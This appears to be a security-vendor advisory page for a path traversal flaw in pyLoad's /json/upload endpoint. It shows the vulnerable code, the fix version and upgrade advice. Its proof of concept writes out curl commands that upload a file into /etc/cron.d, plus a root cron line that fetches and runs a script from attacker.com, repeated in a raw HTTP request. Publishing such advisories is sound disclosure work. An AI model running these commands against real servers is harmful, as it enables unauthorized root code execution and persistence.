GHSA-xqpg-92fq-grfg is a high-severity (CVSS 7.5) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xqpg-92fq-grfg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-xqpg-92fq-grfg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:
- Remote Code Execution (RCE)
- Local Privilege Escalation
- System-wide compromise
- Persistence and backdoors
Vulnerable Code
File: src/pyload/webui/app/blueprints/json_blueprint.py
@json_blueprint.route("/upload", methods=["POST"])
def upload():
dir_path = api.get_config_value("general", "storage_folder")
for file in request.files.getlist("file"):
file_path = os.path.join(dir_path, "tmp_" + file.filename)
file.save(file_path)
Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.
(Proof of Concept)
- Clone and install pyLoad from source (
pip install pyload-ng):
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
- Or install via pip (PyPi) in virtualenv:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
- Login and obtain session token
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
-d "username=admin&password=admin"
- Create malicious cron payload
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
- Upload file with path traversal filename
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
-F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
- On the next cron tick, a reverse shell or payload will be triggered.
BurpSuite HTTP Request
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e
--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream
*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | ≥ 0.5.0b3.dev89&&< 0.5.0b3.dev90 | 0.5.0b3.dev90pip install --upgrade 'pyload-ng==0.5.0b3.dev90' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xqpg-92fq-grfg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xqpg-92fq-grfg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xqpg-92fq-grfg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xqpg-92fq-grfg in your dependencies?
O3 Security finds GHSA-xqpg-92fq-grfg across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.